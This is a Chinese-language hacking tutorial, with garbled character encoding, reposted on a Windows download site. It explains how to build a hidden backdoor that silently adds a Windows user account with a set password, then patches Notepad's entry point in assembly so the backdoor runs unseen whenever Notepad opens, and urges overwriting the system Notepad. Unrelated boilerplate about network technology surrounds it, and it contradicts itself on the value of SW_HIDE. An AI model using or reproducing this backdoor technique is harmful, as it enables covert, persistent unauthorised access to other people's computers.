|
網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來(lái)的新技術(shù)，它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體，實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作，使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計(jì)算機(jī)、存儲(chǔ)資源、數(shù)據(jù)資源、信息資源、知識(shí)資源、專(zhuān)家資源、大型數(shù)據(jù)庫(kù)、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享，網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 本文測(cè)試平臺(tái)：windows xp sp2, vc++6.0我很喜歡孟方明［-２７３］的文章，很有啟發(fā)性，常常是show一種思路，而不僅僅是一種方法。 《逆向工程打造隱蔽的后門(mén)》中的添加用戶的后門(mén),還沒(méi)有做到真正的隱蔽，因?yàn)橛?次會(huì)閃過(guò)dos(我也不知道改叫什么窗口，暫且叫dos吧)窗口。但是孟方明提供了思路，我等菜鳥(niǎo)花了數(shù)星期研究之后,小有心得，拿出來(lái)給大家分享，下面我來(lái)給出方法： 開(kāi)始真正的測(cè)試之前，先看下面的下面這個(gè)程序代碼(相信菜鳥(niǎo)也可以看懂)： //測(cè)試程序，作用添加一個(gè)用戶test并修改密碼為windows //AddUser.cpp #include int main(int argc, char* argv[]) { system("net user test /add"); system("net user test windows"); system("pause"); //暫停程序，以便查看程序是否成功運(yùn)行，實(shí)際應(yīng)用時(shí)去掉 return 0; } 編譯一下，將生成的程序重命名為AddUser.exe，運(yùn)行 沒(méi)有關(guān)系，趕緊刪除test這個(gè)用戶 再來(lái)看看下面的代碼： // ExecuteAddUser.cpp #include int main(int argc, char* argv[]) { ShellExecute(0, "open", "AddUser.exe", "", "", SW_HIDE); //注意SW_HIDE system("pause"); //暫停程序,以便查看程序是否成功運(yùn)行，實(shí)際應(yīng)用時(shí)去掉 return 0; } 也編譯一下，生成ExecuteAddUser.exe，現(xiàn)在把AddUser.exe復(fù)制到ExecuteAddUser.exe所在的目錄。運(yùn)行ExecuteAddUser.exe, 嘿嘿，你沒(méi)有看到AddUser.exe閃過(guò)dos窗口吧。去看看系統(tǒng)用戶，看到test用戶了吧。為什么沒(méi)有顯示窗口呢？上面已經(jīng)表示出來(lái)了這里的參數(shù)SW_HIDE就是不顯示窗口的意思，詳細(xì)描述請(qǐng)查閱MSDN。而且進(jìn)程列表里面沒(méi)有cmd.exe 到這里我們的具體思路就已經(jīng)出來(lái)了： 只要把ExecuteAddUser.exe的代碼嵌入到某一個(gè)程序里面(假設(shè)這里是A.exe),這樣每次運(yùn)行A.exe就會(huì)執(zhí)行我們的AddUser.exe，如果把ExecuteAddUser.exe的代碼嵌入到記事本，嘿嘿，那么這個(gè)用戶就很難從機(jī)器上消失了，是不是有點(diǎn)強(qiáng)盜邏輯。 想法是好的，但是要嵌入到某一個(gè)程序里面，就需要注意這里的參數(shù)SW_HIDE了，因?yàn)槲覀兦度氲臅r(shí)候，代碼不能用SW_HIDE。其實(shí)SW_HIDE是微軟定義的一個(gè)宏而已，我想到一個(gè)比較傻的辦法來(lái)解決這個(gè)問(wèn)題。 在vc++的目錄搜索。終于在WINUSER.H中 找到如下定義： /* * ShowWindow() Commands */ #define SW_HIDE 0 中間的省略。 #define SW_MAX 11 可以看到SW_HIDE被定義為1。 問(wèn)題解決了，去掉AddUser.cpp中的system("pause"); 去掉再次編譯為AddUser.exe，復(fù)制到D盤(pán)(這里只是測(cè)試，實(shí)際上可能會(huì)被放到 c:\windows\system32\......,藏得越深越好啊)。 剩下的事情就很簡(jiǎn)單了基本上就是和孟方明的操作一樣。修改如下： 原來(lái)的記事本入口： 01006AE0 > $ 6A 70 PUSH 70 01006AE2 . 68 88180001 PUSH notepad.01001888 01006AE7 . E8 BC010000 CALL notepad.01006CA8 修改為： 01006AE0 > $ /E9 BB120000 JMP notepad_.01007DA0 01006AE5 > |90 NOP 01006AE6 . |90 NOP 01006AE7 . |E8 BC010000 CALL notepad_.01006CA8 在01007D74添加如下字符： 01007D74 . 64 3A 5C 5C 4>ASCII "d:\\AddUser.exe",0 01007D84 . 6F 70 65 6E 0>ASCII "open",0 修改01007DA0為： 01007DA0 > \60 PUSHAD 01007DA1 . 6A 00 PUSH 0 ; /IsShown = 0 01007DA3 . 6A 00 PUSH 0 ; |DefDir = NULL 01007DA5 . 6A 00 PUSH 0 ; |Parameters = NULL 01007DA7 . 68 747D0001 PUSH notepad_.01007D74 ; |FileName = "d:\\AddUser.exe" 01007DAC . 68 847D0001 PUSH notepad_.01007D84 ; |Operation = "open" 01007DB1 . 6A 00 PUSH 0 ; |hWnd = NULL 01007DB3 . 90 NOP ; | 01007DB4 . 90 NOP ; | 01007DB5 . 90 NOP ; | 01007DB6 . E8 FEAB3F76 CALL SHELL32.ShellExecuteA ; \ShellExecuteA 01007DBB . 61 POPAD 01007DBC . 6A 70 PUSH 70 01007DBE . 68 88180001 PUSH notepad_.01001888 01007DC3 .^ E9 1DEDFFFF JMP notepad_.01006AE5 修改完成后保存為note_test.exe，運(yùn)行，哈哈，沒(méi)有看到dos窗口吧，看看系統(tǒng)用戶吧，有個(gè)test吧，呵呵成功�，F(xiàn)在修改路徑AddUser.exe的路徑吧，別忘了在記事本里修改啊，也不要忘了覆蓋系統(tǒng)的記事本，除非別人不用記事本，否則。。。。。。呵呵.。 網(wǎng)絡(luò)的神奇作用吸引著越來(lái)越多的用戶加入其中，正因如此，網(wǎng)絡(luò)的承受能力也面臨著越來(lái)越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......，各項(xiàng)技術(shù)都需要適時(shí)應(yīng)勢(shì)，對(duì)應(yīng)發(fā)展，這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示：喜歡本站的話，請(qǐng)收藏一下本站！
本站發(fā)布的Win7純凈版系統(tǒng)、Win10純凈版和XP純凈版系統(tǒng)僅為個(gè)人學(xué)習(xí)測(cè)試使用，請(qǐng)?jiān)谙螺d后24小時(shí)內(nèi)刪除，不得用于任何商業(yè)用途，否則后果自負(fù)，請(qǐng)支持購(gòu)買(mǎi)微軟正版軟件！
本站所有資源全部來(lái)自于網(wǎng)絡(luò)資源,如侵犯到您的權(quán)益,請(qǐng)及時(shí)通知我們(),我們會(huì)及時(shí)處理.
Copyright © 2018-2020 蘿卜系統(tǒng) 手機(jī)站 關(guān)于本站
